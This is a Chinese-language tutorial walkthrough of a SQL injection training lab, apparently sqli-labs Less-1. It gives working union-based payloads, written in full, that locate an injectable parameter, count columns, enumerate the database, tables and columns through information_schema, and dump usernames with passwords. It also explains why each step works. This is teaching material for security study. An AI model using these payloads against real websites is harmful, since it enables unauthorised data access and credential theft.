打開頁面后提示“請輸入參數id,並為它賦一個數字值”。
1、尋找注入點
輸入?id=1 正常;輸入?id=1' 報錯,說明存在sql注入漏洞。
嘗試在URL后添加?id=1回車,頁面響應“Your Login name:Dumb Your Password:Dumb”。
嘗試在URL后添加?id=1'回車,頁面報SQL語法錯誤。
根據報錯信息,猜想輸入參數的值被放到一對單引號之間。
猜測后台源碼中存在類似於如下的數據庫查詢語句(可查看后台源碼證實猜測):
SELECT * FROM users WHERE id='$id' LIMIT 0,1
2、使用order by 1-99查詢該數據表中的字段數量
輸入?id=1' order by 3 --+ 正常;
輸入?id=1' order by 4 --+ 報錯,說明該數據表中字段數為3。
原理:select * from table order by n 表示查詢結果按照select里面的第n個字段排序,如果表中只有3個字段,則我們order by 4查詢時,因為沒有第4個字段,所以報錯。
3、爆數據庫
在數據庫中查詢參數ID對應的內容,然后將數據庫的內容輸出到頁面。由於是將數據輸出到頁面上的,所以可以使用union注入,且通過order by查詢結果,得到的字段數為3,所以union注入的語句如下:?id=1' union select 1,2,3 --+
如上圖所示,可以看到頁面成功執行,但沒有返回union select的結果,這是由於代碼只返回第一條結果,所以union select獲取的結果沒有輸出到頁面。
可以通過設置參數ID值,讓服務端返回union select的結果,例如把ID的值設置為-1(輸入?id=-1' union select 1,2,3 --+),這樣數據庫中沒有id=-1的數據,所以會返回union select的結果。如下圖所示。
返回的結果為2,3,意味着在union select 1,2,3中,2和3位置可以輸入mysql語句。我們嘗試在2的位置查詢當前數據庫名(使用database()函數),構造Payload如下
?id=-1' union select 1,database(),3 --+
頁面成功返回了數據庫信息,得到數據庫庫名為security,如下圖所示。
4、爆數據表
得知了數據庫庫名,接下來輸入以下payload查詢表名。
?id=-1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database() --+
5、爆數據列(字段)
現在,已知庫名和表名,開始查詢字段名,這里以users表名為例,構造payload如下。
?id=-1' union select 1,group_concat(column_name),3 from information_schema.columns where table_schema='security' and table_name='users' --+
6、爆數據值
payload
?id=-1' union select 1,group_concat(username,0x3a,password),3 from users--+
知識點:
(1)在MySQL 5.0版本之后,MySQL默認在數據庫中存放一個“information_schema”的數據庫,在該庫中,我們需要記住三個表名,分別是SCHEMATA、TABLES和COLUMNS。
- SCHEMATA表存儲該用戶創建的所有數據庫的庫名,我們需要記住該表中記錄數據庫庫名的字段名為SCHEMA_NAME。
- TABLES表存儲該用戶創建的所有數據庫的庫名和表名,我們需要記住該表中記錄數據庫庫名和表名的字段名分別為TABLE_SCHEMA和TABLE_NAME。
- COLUMNS表存儲該用戶創建的所有數據庫的庫名、表名和字段名,我們需要記住該表中記錄數據庫庫名、表名和字段名的字段名為TABLE_SCHEMA、TABLE_NAME和COLUMN_NAME。
(2)需要記住的幾個函數:
- database():當前網站使用的數據庫。
- version():當前mysql的版本。
- user():當前mysql的用戶。
(3)group_concat函數是典型的字符串連接函數。group_concat(table_name)表示把table_name字段的值打印在一行,逗號分隔(默認)。
(4)0x3a是:
16進制的分隔符,比如在爆數據值時,(username,0x3a,password)表示(username:password)。
(5)--+中,“--”是SQL查詢語句中的注釋符,“+”在URL中表示空格。